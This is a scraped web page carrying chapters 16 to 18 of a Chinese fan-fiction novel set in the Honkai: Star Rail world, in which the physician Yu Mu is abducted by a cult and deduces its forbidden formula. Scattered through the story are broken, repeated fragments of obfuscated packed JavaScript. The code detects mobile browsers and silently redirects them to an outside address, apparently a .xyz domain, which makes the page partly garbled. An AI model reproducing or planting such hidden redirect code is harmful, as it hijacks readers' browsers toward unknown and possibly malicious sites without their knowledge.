d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14881870|157893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都能挣到摸摸券就好了,可惜,只剩最后一张了,留着以后再用吧。 他珍重地把自制摸摸券放到工作台上,抱了额外一床被子,躺回丹枫身边。 没有小青龙当抱枕,还稍微有点不太习惯。 略微有些遗憾的郁沐合上了眼。 —— 同一时间,灯火通明的神策府。 持明族的上诉折和汇报建木生发的紧急报告如同雪片,自午后开始,便极速向神策府汇集。 威严的大殿内一时间刀兵静默,气氛肃然,来去匆忙的云骑把消息递来,又马不停蹄地将神策将军的命令传递出去。 即便建木的异状只持续了不到半个系统时,也足以令仙舟上下高层心生戒备,如临大敌。 当然,以上草木皆兵的要员,不包括神策将军。 景元手执一子,正垂眸斟酌着方纹枰上的棋局,看他气定神闲的模样,饶是青镞也有些坐立不安,她走上前去:“将军,您就不担心吗?” “有何担心之处?”景元转了转手指玉棋。 “这可是建木生发的大事。”青镞语气急切。 景元轻笑,他将棋子落在某个位置,“正因事关建木,才更要谋定而后动,若自乱阵脚,岂不是平白给了有心之人可趁之机? “可是……”青镞还要说什么,只听神策府门一开,疾行而来的云骑再递上情报。 景元打开,一目十行,眼中流露耐人寻味的深意。 “看来有人等不及了。” 他将情报折放在桌案上。 折上言语寥寥,提及十几分钟前建木再度生长,位于鳞渊境的龙师们第七次下潜观测,持明内有护珠人队伍诡异离岗,行踪未知。 “您是说龙师?”青镞一头雾水。 景元避而不答:“青镞,替我拨玉兆给郁沐丹士。” “将军,事态紧急,您就别顾左右而言他了。”青镞快急哭了:“您又没生病。” “青镞,我现在头晕目眩,呼吸困难,伴有恍惚心悸之症,要是没有丹士来诊,我怕是要殉职在这神策府了。”景元道,“只有丹士来了,我才能健康处理公务。” 青镞:胡说,将军明明再过一千琥珀年也不会魔阴身T^T 她三步一回头,在列表中翻到郁沐的号码,拨通,递给景元。 玉兆响了几十秒才被接起,那头先是一阵呼吸声,而后发出了一串软绵绵的、不大清醒的怒音。 “干——嘛——” “郁沐,我晕倒在神策府了,来工作。”景元话音带笑。 玉兆那头的人哼唧了一声,嗓音变得闷闷的,景元猜,是对方为了关闭听力,用枕头夹住脑袋导致的。 “晕倒的人是不会说话的,玉兆也不会自动拨过来。” 景元:“强撑着呢,谁让我是将军?” “那你再撑一会吧,我好困……” 人倒进了被子里,发出呼的轻响。 景元叹息:“身为我的丹医,在病人难受煎熬的时候还能安稳睡着?” “将——军。”郁沐拖了个长音:“您看看现在几点了,连长乐天的机巧鸟都睡了。” “机巧鸟都睡了,我却还没有,要不是因为某个不省心的东西肆意妄为,躁动萌生,何至于漫漫长夜,还要我枯坐灯前,批复这些令人头疼的折文。”景元状似随口道。 玉兆那头没了声音,仿佛睡了,没再理会,但景元却听见了手指磨蹭被子的声音。 好半晌,郁沐才迷糊着嗓音答应:“知道了……” “郁卿总算被打动,肯为我排忧解难了?”景元一如既往的温和。 “孔泰金花三两,加翁瓦克虫草干一株,搭配水晶冰糖,熬煮后饮下,症状五分钟可消。”郁沐打了个呵欠,“记住了吗?” “记住了。”景元笑着答应,过了几秒,见郁沐玉兆未挂断,又问:“郁卿下午在做什么?” “下午?” 玉兆里传来悉悉索索的响动,郁沐抱住了什么,又把玉兆推远,声音像是隔了一层雾气。 景元低低地嗯了一声。 “当然是。”郁沐深吸一口气。 “在想我什么时候能从神策府辞——” 景元眼疾手快,面带微笑地掐断了玉兆。 在家卷着抱枕昏昏欲睡语速缓慢的郁沐:“……职。” 郁沐:…… 很好,又没能辞职成功。 甚至还忘了提加班费。 可恶,好气:) 郁沐气急败坏,□□了一把丹枫的尾巴出气,并不忘为自己再开一张摸摸券。 云五的债,当然要云五来还。 狠狠地还! 17.第17章 美好的周末转瞬即逝。 郁沐从被窝里直挺挺地坐起,伸了个懒腰,爬出去时不忘给丹枫掖好被角。 新一周伊始,要把这段时间攒起来的债一一还完,先得将有关“充盈极乐散”的研究整理发布在丹鼎司的学刊上,再把新配方的阵痛散抄送一份给神策府。到了周五发薪日,就可以去看看能不能一次性把之前三个月的薪水全领了。 给自己制定了充实的计划后,郁沐简单吃了个早饭,带上整理好的典籍和手稿,出发前往丹鼎司。 一路畅通无阻。 许是上班第一天,行医市集内洋溢着半死不活的气氛,丹士们瘫坐在长椅上,三三两两说着闲话,还未能从假期的作息中缓过来。 郁沐走到中央告示板前,拿出誊抄的阵痛散新配方,贴在了空白的栏位。 这样一来,只要再往神策府抄送一份就好了。 郁沐拿出玉兆,发消息给鹤长,拜托对方来取拓本。 身为神策府的护卫,鹤长算是景元亲自吩咐,负责长期护送郁沐前往神策府的卫兵,也是他目前能联系上的唯一一个云骑。 “你们知道吗,最近有个什么组织好像很活跃,叫药王,药王……” “药王秘传。” “是,是叫这个名字,我前几天还在炼丹室看见他们的小广告。” 窃窃私语从远处传来。 “咱们这咋可能有药王秘传,仙舟人谁不恨丰饶民,别听他们胡说。” “我只希望他们别总在厕所和书室乱贴联系方式了,很难清理啊!” “那边那个是郁沐吧,他在贴……新药方?” “我听说上周他离席翔横医助长的研讨会,闹了好大不愉快呢。” “那人就这样,我行我素的,比起这个,我更好奇他研究出了什么新东西……” 郁沐无视四面投来的窥探的目光,他抚平纸张的折角,在自己的待办事项上画了一个饱满的勾。 接下来去书室找一本古籍,最后校正一遍有关“充盈极乐散”的药理内容,就可以交给学刊中心接受同行评议了。 他朝着东北角的高楼走去。 身后,阴影中投来几道险恶目光,警惕地互相交换眼神,随即没入黑暗中。 —— 书阁内人影罕见,空辽至极,从木栏杆向外眺望,能看见波涛平寂的波月古海。 丹鼎司在追逐长生、求仙问药的黄金年代曾无比繁荣,丹士们搭建书阁,铸造炉鼎,水火交济,九转成丹,一丹难求,只可惜世异时移,自巡猎斫断建木,丹鼎司昔年的权力便一去不返。 相应的,丹士们研究新丹方的动力不足,书阁便日渐没落,唯有黄金年代的典籍留存期间。 郁沐循着记忆往里踱步,没过多久就找到了自己想要的那本书。 他抽出书脊,忽然听里间有动静,似是有人在交谈。 这么早来看书?真是勤奋,也不知是哪位同僚。 郁沐拂去书上灰尘,难得好奇,从书架旁探头一看,沉默了。 七八个身生荣枝的莳者手持长杖,围站一团,丰饶的银杏叶自关节生长,盘绕卷曲,由于颜色太亮,半面墙都被折射的光映成了金色。 察觉到有人窥探,被面铠覆盖的脸没有任何神情,他们齐刷刷扭头,看向郁沐时,有着相当悚人的压迫感。 郁沐:“……” 郁沐:“打扰了。” 他小声地道歉,慢慢从书架后缩回脑袋。 是同僚不假,但不是丹鼎司的同僚。 静默片刻,郁沐镇定自若地往外走,只听身后一道尖锐厉喝,震得整栋书阁都在微微震颤。 “抓住他!!” 诶呀,被发现了。 郁沐吐了吐舌头,抓起书,抄过背包扔在背上,手一撑楼梯杆,如同一只飞燕,从三楼跳到了一楼。 咚! 他屈膝,落地,站起,一抬头,十几个形态各异的药王秘传就围在书阁大门前,虎视眈眈地盯着他。 郁沐:? “今天是药王秘传团建日吗?” 人也太齐了! “少废话,你看到了吧,我等繁荣之相。”领头的承露天人低喝道,手中长杖一挥,锐利邪风迎面一拂,把郁沐的头发吹乱。 “其实我视力不太好,看的没有很清楚。”郁沐觉得这种时候还是要努力为自己狡辩一下的。 “巧言令色,断不可留。”承露天人一挥长杖,刚要进攻,却被一人按住了。 “等等,他是大人钦点的有用之人。” 从承露天人背后走出一人,身着丹鼎司制服,正是竹辉。 眼见昔日同僚被围攻,竹辉深感快慰,脸上的笑容都真挚了许多,他从药王秘传中间走出来,站在郁沐面前的空地。 “郁沐,跟我们走一趟吧?” 郁沐瞥了眼从三楼下来的药王秘传,前后包夹,情势不可谓不紧迫。 竹辉笑着看他,期待对方脸上露出更多惊慌、难堪的神情,最起码要像只兔子一样颤巍巍地求饶,可观察了半晌,郁沐还是像平时,一副对什么都提不起劲的样子。 真是可恶啊,这个不知天高地厚的后辈! 竹辉气极,差点控制不住自己扭曲的面容。 在走还是留这个问题上,郁沐难得没思考很久,毕竟除了跟药王秘传走一趟外,实在没有其他选择了。 他还不想因为失手炸毁丹鼎司而被景元的神君追着砍。 —— 走出书阁,被簇拥在中间,郁沐的视线在药王秘传之中反复游弋。 察觉到他的古怪,竹辉哼了一声,靠近郁沐,胳膊一伸,圈住他的脖子,迫使郁沐不能再乱看。 “你小子,休想动什么歪心思,也别指望求救,要是让我发现你有透露消息的举动……”竹辉胁迫着勒了一下郁沐的脖子,压低嗓音道:“你知道后果。” 郁沐像一株轻快的小草,顺着竹辉的劲儿往左边一晃,对威胁置若罔闻,反倒对另一件事兴致勃勃:“你们出门前吃了什么?” 出门前,原本已显出「药王相」的药王秘传们纷纷服下一丸丹药,只一会功夫,就纷纷变回了人类模样。 “想知道?”竹辉内心颇有些得意,“妄图从我这窃取机密,不可能!” 郁沐也没指望对方会乖巧地说答案,他沉思片刻,开始推算。 “能抑制魔阴、稳定细胞失序、保持内环境稳态的药物不多,岱舆当归是主药材中不可或缺的一味……” “岱舆当归性热,亦有内火燥旺之效,需要另一味寒性药物中和,可选鳞渊天冬,或者方壶落龙子……不,果然还是鳞渊天冬。” “有了鳞渊天冬,辅药就必须加入丹参骨胶。” “喂!”竹辉听着郁沐的碎碎念,心里发慌,立即出言打断,“闭嘴。” 周围的药王秘传个个面色复杂,惊诧又好奇,频频瞥向郁沐。 这就是翔横大人看中的人吗,连丹方都未见过,仅凭症状就能推理出药材,这个药理能力实在是…… 闻所未闻。 “主药材还应当有波月古海龙鳞珊瑚,镇热止痛,除此之外……”郁沐喃喃着,突然被竹辉拽住领子。 “让你闭嘴没听到?”竹辉气急败坏。 郁沐静静地抬起眼皮,望着近在咫尺的竹辉,淡淡道:“能等一下吗,我还有点没推完。” “你!”竹辉脸色变幻,他气急了,攥起拳头就要伸手。 “那边的云骑在看着呢,确定要打我吗?”郁沐指了指远处。 竹辉瞬间像被冷水泼了,浑身僵直,不知不觉间,丹鼎司门外站了一队云骑,正警惕地看向他们所在的方向,迈步走来。 丹鼎司为什么会有云骑,外围的兄弟姐妹们怎么没来通报? 这个念头在竹辉脑海中一闪而过,他的手微微颤抖,正在两难之际,身边的郁沐突然说话了。 “我可以帮你打发走云骑,但代价是,你把最后一味药告诉我,怎么样?” 竹辉不由自主地看向郁沐,只见对方神情自若,相当镇定地敲诈他。 “不可能!这可是我们药王秘传的秘辛……”竹辉咬紧牙关。 纵使如此,身后云骑越来越接近,他身旁的药王秘传们都有些不安。 他们并不怕暴露,但如果没能完成大人的任务…… 怎么办? “如果云骑把你们抓进幽囚狱,你能保证在场的人都会守口如瓶吗,是让我一个人知道,还是让仙舟高层全都知道……你选呢?”郁沐敲了敲竹辉的手,催促对方快点做决定。 答案根本无需选择。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14888523|157893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>竹辉恶狠狠地放开了郁沐的领子,却被郁沐反手抓住了。 “你干什么。”竹辉吓得往后一跳。 “先告诉我那味药材是什么。”郁沐直视他。 郁沐目光如炬,求知欲旺盛如火,让竹辉莫名害怕——他忽然想起自己在炼丹室中见到的那些沉迷炼丹、失去自我的仙长们。 “你,哪有你这样的,事儿还没办完。”竹辉涨红着脸,磕磕绊绊地控诉:“你这是敲诈!” 郁沐依旧直视他,手越攥越紧。 这家伙力道怎么这么大啊? 竹辉龇牙咧嘴,压低嗓音,破罐子破摔道:“是魔阴身骨粉,行了吧!” 郁沐恍然,丢垃圾似地松开了手。 血液倒流,竹辉疼得眼睛都泛起了泪花,他后知后觉地发现,自己手腕没知觉了,定睛一看。 妈耶,居然脱臼了?! 这时,云骑小队来到了众人面前。 “怎么回事?”领头的云骑疾言厉色,面铠底下投出一道担忧的视线。 正是鹤长。 得到谜底心满意足的郁沐声音十分轻快:“只是和同僚起了点争执,你们是来取药方的?” “……是。”鹤长清了清嗓子,“真的没问题?” “当然没问题,是吧?”郁沐看了眼竹辉,霎时,云骑的视线都集中在竹辉身上。 竹辉吓得赶紧把眼睛里的泪花憋了回去,托着自己脱臼的手腕连连摇头:“没事,一点事没有。” “看吧。” 郁沐示意鹤长放心,刚想翻自己的背包,突然想起随身之物已经被药王秘传们收缴了。 “你好,能把背包夹层里的药方拓版给我吗?”郁沐看向其中一个药王秘传。 云骑的目光随之移到了那人身上。 在众多冰冷的视线压迫下,这位年纪轻轻的药王秘传哭丧着脸,哆哆嗦嗦地把药方翻了出来,险些弄掉了药粉瓶子。 现在小年轻的心理素质,比起老一辈药王秘传实在差了一大截。 药王秘传的未来是要完蛋啦。 郁沐在心里默默点评。 “请把这个丹方交给景元将军。”郁沐将阵痛散的配方递给鹤长,并与对方告别。 鹤长接过药方,带领着一队云骑往回走——今日他带队巡逻,意外收到郁沐的消息,否则按平常的路线,他不会拐一头来丹鼎司。 只是。 鹤长回头,远远地望着站在人群中间的郁沐。 郁沐什么时候和他的同僚关系这么好了? 好奇怪。 —— “请拿稳点,古籍贵重,摔坏了怎么办。” 郁沐对帮自己拿包的那位药王秘传道,又看向竹辉:“走吗,距离目的地还很远吧?” 咔哒一声,是竹辉把自己的手腕接了回去,他愤怒道:“这群云骑本来就是你引来的!” 郁沐眨了眨眼,“对。” “你是故意的!”竹辉眼前时黑时白,“故意要挟我。” “对呀。”郁沐诚实地点头,认真道:“毕竟你看起来很好骗嘛。” “你!!!”竹辉一个气急,差点仰过去,被身边药王秘传团团接住,扇风的扇风,掐人中的掐人中,七嘴八舌地安慰道。 “算啦别和他一般见识,郁沐就这德行,气坏了身子不好。” “竹辉前辈,稳住,可不能在这堕入魔阴身啊。” “深呼吸,深呼吸!” 竹辉用力吸了一口气,刚感觉好一点,就听郁沐道: “而且你的枝绒相也很特别,小小的,很可爱。” 一直以自己化仙后头顶粗壮美观的树枝为傲,并且四处炫耀的竹辉:难!以!置!信! 怎么会有人说他,小小的! 郁沐怎么敢! 他一阵暴起,在众人的阻拦下跳脚,发狂般咔嚓着牙,去咬郁沐。 “有本事站着别动,死小子,你给我滚过来!” 无法冲破药王秘传们的胳膊从而不断踩踏空气的竹辉,发出亢奋尖叫。 郁沐灵巧地往旁边一跳,望着被药王秘传们七手八脚制住的竹辉,拍了拍自己的胸口,小声道: “真粗鲁,吓死我了。” 发狂的竹辉:…… 我要咬死你啊啊啊! 18.第18章 “你给我坐下!” 气呼呼的竹辉按住郁沐的肩膀,将人固定到椅子上,摘下了绑在郁沐脸上的眼罩。 实在是看见对方这张脸就止不住生气,三番两次差点被丹鼎司路过的行人察觉,为避免暴露,竹辉只好罩住郁沐的眼睛。 虽然大多时候,郁沐的视线里并不包含特定的感情,表情也淡淡的,但只要被他注视,竹辉就心烦。 郁沐要是说话,就更不得了了,竹辉原地就能炸开,都不用人点。 郁沐眨了眨眼,适应环境的黑暗,环视四周。 这是一个还算宽敞的房间,脚下是年久失修的地板,窗户被红色绒布封死,难以通过外界确定位置。 屋内有两把椅子,隔了五米,对向放置,空的一把就在他面前,旁边摆着一张楠木小桌,桌上有沏好的茶水,以及郁沐被缴获的背包。 像是为某个身份尊贵之人准备的。 屋内一共有十名药王秘传,均身着丹鼎司制服,三三两两立于房间四角,沉默地打量着郁沐。 “能把这个解开吗?”郁沐抬起自己被绑住的双手,示意身旁站着的竹辉。 竹辉哼了一声,理都不理郁沐。 郁沐锲而不舍,用胳膊肘拐了一下竹辉:“我想喝水。” “你当这里是自己家吗?”竹辉像被点了的炮仗,火气直往外窜。 “年纪轻轻,不要总动气,会加快堕入魔阴身的进程。”郁沐摇了摇头,好心劝告。 “我都来当药王秘传了,你猜我怕不怕堕入魔阴。”竹辉恶狠狠。 郁沐语气幽幽:“那你怀里揣着的《冥想遗忘疗法祝您远离魔阴》的带货小广告是怎么回事?” 意外被发现秘密,竹辉蹭一下跳出一丈远,他捂住衣兜,脸色涨红:“你不要乱造谣,我只是偶然路过被塞广告了而已,才没有想试一试!” 远处,四角的药王秘传们互相交换了一个眼神,气声道: “什么嘛,嘴上说着自己不怕,背地里还是用了冥想按摩仪。” “他之前还说我们单纯,容易被带货广告骗吧,现在看来,也没聪明多少。” “竹辉这算什么,自爆卡车?明明也没人问他……” “郁沐好得意哦,竹辉要气死了,嘿嘿。” “嘘,你太大声啦。” 竹辉咬紧后牙槽,牙齿吱硌作响,他攥紧拳头,盯着郁沐那张没什么表情的脸,将落未落。 不能揍,翔横大人就快来了。 可是好气! “你可以选择给我倒一杯茶水,用茶水让我闭嘴。”郁沐朝对面的桌子使了个眼色。 竹辉更气了,但除了生气之外,好像目前也没别的可做。 “竹——”郁沐试图开口。 “闭嘴。”竹辉重重捶上郁沐的椅背,由于受力不均,郁沐忽地往后一仰,凳脚翘起,又被他压了下去。 他的金色短发蓬松地晃了晃。 竹辉飞速倒了一杯茶水,气势汹汹地折返,狠狠怼到郁沐唇边。 “喝了!” 郁沐感受了一下茶杯飘上来的热气,抿唇,开始小口小口地吹。 呼。 呼。 被迫端着茶杯端了一分钟的竹辉不耐烦了:“你在干什么。” “这是开水,喝不了。”郁沐道。 “我知道,但你能别就着我的手吹吗,我是你的佣人吗?”竹辉青筋暴起。 郁沐没好意思说,其实在场诸位,都可以是他的佣人。 “我的手被绑了。”郁沐抬起手,给竹辉示意:“我一开始就说了。” 竹辉目露凶光,磨牙霍霍,忍住了把水泼对方头上的冲动。 这个小子,使唤起人来怎么这么理直气壮? 要不是翔横大人快来了…… 竹辉深吸一口气,压住心中火气,告诫自己:冷静,冷静,必须做好这档差事。 郁沐一脸淡然的无辜,继续吹吹。 终于,在竹辉即将失去理智的时候,郁沐把茶水一口干了,末了咂了咂嘴:“还可以。” “哪家买的?”郁沐又问。 “劝你省点心思,你已经走不出这个房间了!”竹辉拿着碗底,狠狠敲了郁沐的头一下。 郁沐眼睛倏地瞪大了。 这可让竹辉尝到了甜头,终于能教训这个嚣张气人的后辈,他控制不住地发笑,结果一转头,翔横正站在门口,诧异地看过来。 他连忙把茶杯藏在身后,慌张道:“大,大人?” 郁沐舔了舔嘴唇,暗地里瞥了翔横一眼。 翔横穿着丹鼎司的制服,原是一样的容貌,慈祥的笑容,圆框眼镜镜片纤薄,此刻在这暗室中,却显得他目光深沉,不怀好意。 “无妨,郁沐当是渴了,竹辉,再给我们的贵客沏一壶茶吧。” 竹辉赶紧躬身出门。 “你们也下去吧,我想和他单独谈谈。”翔横一摆手,遣散了屋里的药王秘传。 他人鱼贯而出,屋里只剩郁沐和翔横对视。 暗室烛火跳动,光影明灭,扫过郁沐的侧脸,他无甚兴致地盯着手腕上的绳结。 翔横走到郁沐对面的椅子,坐下,明明是上位者,可不知怎的,当郁沐抬起眼时,沉重的视线便锁定在他脸上,寒意攀上脊背,令他精神一凛。 “你想和我谈什么?”郁沐嘴唇轻启,那双浅褐色的眼眸隐在眼眶投下的阴影里,平淡问道。 “郁沐,在来的路上,我听孩子们说起你在路上断出‘还尘驻形散’的部分丹方,实在教人震惊。”翔横摩挲着茶壶的边沿,“自我那师弟,绯权之后,我已经许久未见像他这般天资聪颖、受过药王点化的人了。” “师弟?”郁沐像是明白了什么。 “怎么,绯权没说过我的事?”翔横一笑:“不应该吧,你是他的徒弟,他甚至把他那些宝贝典籍都留给你了,不是吗?” “我和绯权的关系不亲近。”郁沐道,“而他,也确实未提过自己有何同门。” 翔横脸上的笑容微微扭曲了一下,慈祥的双目闪过一丝怨毒,但紧接着,他就重新戴上了令人如沐春风的面具。 他嗟叹道:“我那师弟性情古怪,眼高于顶,或许在他看来,我不过是个平凡人罢了。” 郁沐不置可否。 翔横感叹了半晌,摘下眼镜,捏了捏眉心,似是累了,声音缓缓: “我曾与绯权共事,试图探求药王赐福的真意,可到头来,绯权独吞成果,背叛了收留、养育他的老师们,今日请你来不为别的,我只是想从你这里取回绯权的学著,再顺便,托你帮个小忙。” “你应当知道‘充盈极乐散’吧?” 郁沐点了点头。 “说起来,前些日子的小实验似乎把你卷了进来,都是手下的孩子做事不力,实在对不住。”翔横歉然道。 “实不相瞒,‘充盈极乐散’是药师不忍见万民悲苦、降至仙舟的永寿良方,只是万代传续,药方难免有缺。 我与绯权的工作本是完善此方,谁知绯权一意孤行,断了秘传存续,只得我另寻他法,可惜,我不及师弟蒙药师垂青,时至今日,仍无法推出那三大主方中的最后一味。” 郁沐:“所以你想取回绯权的学著,期望对方已有答案?” “是,也不是。”翔横微微一笑,“我了解绯权,他定然不会把这最关键的线索写在学著中,只是身为药王秘传,却在药王令使现世后倒戈,叛入仙舟民一方,绯权恐怕早已知道自己将死……” “瞧我,年纪大了,糊涂,忘了你是他徒弟,听到自己师父的死因定然难过吧,请别介意。” 翔横一抚掌,看向郁沐,连连道歉。 “你是个可造之材,我看得出,性情虽与绯权相似,却是个好孩子,如果是你,假以时日,定能寻得那最后一味药材。” 郁沐总算从对方口中听出了一点门道,他诧异: “你们害死了绯权,还想我这个绯权的徒弟为你们出力?” “别说的这么难听,这也是为了减少损耗,毕竟,你也不想残方的受害者再增加了不是吗?若非遍寻不得,我也不会将担子撂给年轻一辈……” 翔横苦恼地摇头,还想再说,突然被郁沐打断了。 “又想操控他人吗,无能者。”郁沐的嗓音冷如寒泉。 翔横的笑容僵在了脸上,在跳跃的暗烛下,他的眼珠浑浊不堪。 模糊不清的记忆中,一个沧桑的声音在他脑海中反复回放。 「师兄,你不过是靠攫取他人成果活着的无能者,那些兄弟,那些病人,那些视你为救命稻草的人,包括我,无一不是你向上攀爬的消耗品。」 「你得到的越多,野心越大,就越有无数人为你牺牲。」 「我要停止研究,我不会再受你操控了。」 是谁,是谁在说话? 翔横猛地抓紧扶手,用力之大,使他手背爆出道道青筋,整个人不住地颤动。 他像是病了,胸腔鼓动,发出赫赫的闷响。 郁沐手腕一震,紧扣的绳结便掉落在地,他垂着眼,细细抚平皮肤上的勒痕。 “盗窃他人心血,伪装成自己所得,踩着别人的脊梁向上,攥紧非属自己的成就不放,庸碌昏聩,无能至此。” “想知道‘充盈极乐散’的三味主药是什么吗?我可以告诉你。” 郁沐站起身来,身躯单薄,俯视着什么人时,与生俱来的压迫感沉重如山。他一步一步,走到翔横面前,俯身,在对方耳边低声道。 “令使残躯,持明骨髓,以及。” “建木之血。” 翔横倏地瞪大双眼,被突如其来的汹涌情绪冲击思绪,万般繁杂的念头一齐涌了出来。 他呼吸困难,嘴里喃喃着:“不可能……不可能。” “有什么不可能?”郁沐反问。 “那是慈怀药王的垂迹,怎能入药……不可能!”翔横歇斯底里地抖动着。 郁沐连忙往后退了几步,“你看,这就是你和绯权的区别。” “他都敢铁锅炖祖宗,你却在这里连说三个不可能。” “闭嘴!别提那个疯子!”翔横怒喝一声,无力的手向外横扫,打翻了茶盏,随即躬身开始咳嗽。 血一点点落到木地板上,汇成了一滩。 “别动气,你这个年纪,气急了可是会堕入魔阴的。”郁沐道。 翔横没听见对方的话,他只觉血液奔涌,往头颅汇集,体内有什么在撕扯,挣扎着想要生长出来,可另一方面,他又觉自己五感灵敏,思维活跃,模糊的记忆如雪片飞来。 一会是病患声泪俱下的恳求,一会是绯权失望严厉的指责,一会是师长前辈期许的赞叹。 忽然间,翔横捂住自己的脸,指缝中,一截银杏叶长了出来。 “我……”他的声线开始扭曲,隐隐地,他察觉到了自身异状的来由。 是魔阴身。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他拽开衣摆,拂去翔横的触碰,低头道:“虽说药王垂迹,建木生发,仙舟人始得无量寿数,魔阴牵缠,诸苦遍历……但此事与我无关。 只不过是你试验在那些无辜平民身上的‘充盈极乐散’,诱发了你的魔阴身,就像当晚你挑准了时间激化病人,指使他们伤害云骑那般。” 翔横瞪大眼睛,难以置信地嗡动嘴唇。 “不可能……” “想知道这药来自哪吗?”郁沐瞥他一眼,用脚尖踢了踢先前被翔横扫落在地上的茶杯。 翔横脸上绝望的神情凝住了,许久之后,他嘴唇牵扯,似是苦笑,又像是被抽空了最后一丝力气。 他操纵过诸多人的生命,如今,竟也轮到他成了棋子。 这是报应吗? 已无力再思考其他,他喃喃道: “为什么,你不会堕入魔阴……” 郁沐没说话。 “求你了,告诉我……你明明也喝了……”翔横的脸上逐渐长出了遮面的枝叶,他后背生出断枝,不可逆地向孽物转化。 还是个丑陋但强大的孽物。 郁沐敛着眸子,将翔横的变化收入眼底,这一刻,他眼底情绪十足悲悯,又带着神的傲慢,矛盾至极。 最终,他开口了: “我已经说过答案了,庸人。” —— “该死的郁沐,别让我抓到他丁点把柄,否则我要他好看!” 捧着满满新茶水的竹辉啐了一声,往里间那屋走。 他气得直哼哼,沉浸在自己的情绪里,丝毫没注意到走廊上一个药王秘传都没有。 靠近门口,听见里屋有动静,竹辉伸手准备敲门,思考片刻,又犹豫了。 临走之前,他听见翔横大人说自己要和郁沐单独交流,不许外人进来,可这茶水又是翔横吩咐去取的,这如何是好? 左思右想,翔横决定先偷看一眼,反正翔横忙着和郁沐说话,绝对不会察觉到。 他放下茶壶,贴近门缝,好在这栋阁楼年久失修,缝隙很大,足够他看清里面。 视线有点模糊,屋内光线黯淡,待他调整视角后,率先看到的是倒在地上的翔横。 竹辉蹙起眉,额头抵死在门框上,只见收窄的视野里,郁沐站在翔横面前,正垂眸望着对方。 光影昏暗,将他面部的线条全部融化在朦胧中,看不真切,瘦削却挺拔的身体保持居高临下的姿势,令竹辉心里隐隐有些发毛。 他啧了一声,将右眼贴近,试图看得更清楚一点,却突然听见身后传来一阵人群骚动。 “烦死了,外面的人在搞什么!” 他蹑手蹑脚离开门边,痛骂一声,疾步穿过走廊,想看看外间到底在做什么,岂料手还没碰上门闩,面前门板呼一下飞了起来。 竹辉躲闪不及,直接被压在底下。 刚踹完门的云骑收回腿,看见地上躺着个人,吓得尖叫一声,慢半拍道: “这里是云骑,紧急排查,有人举报你们……天啊这位先生对不起!不小心踹到你了。” 竹辉眯着眼,看了看自己瘦弱的身板,对方手里雪亮的阵刀,以及背后乌泱泱的银铠云骑。 在奋起反抗还是彻底装晕之间纠结的竹辉:“……” 算了,装晕吧 就是这云骑还会道歉,人怪好的。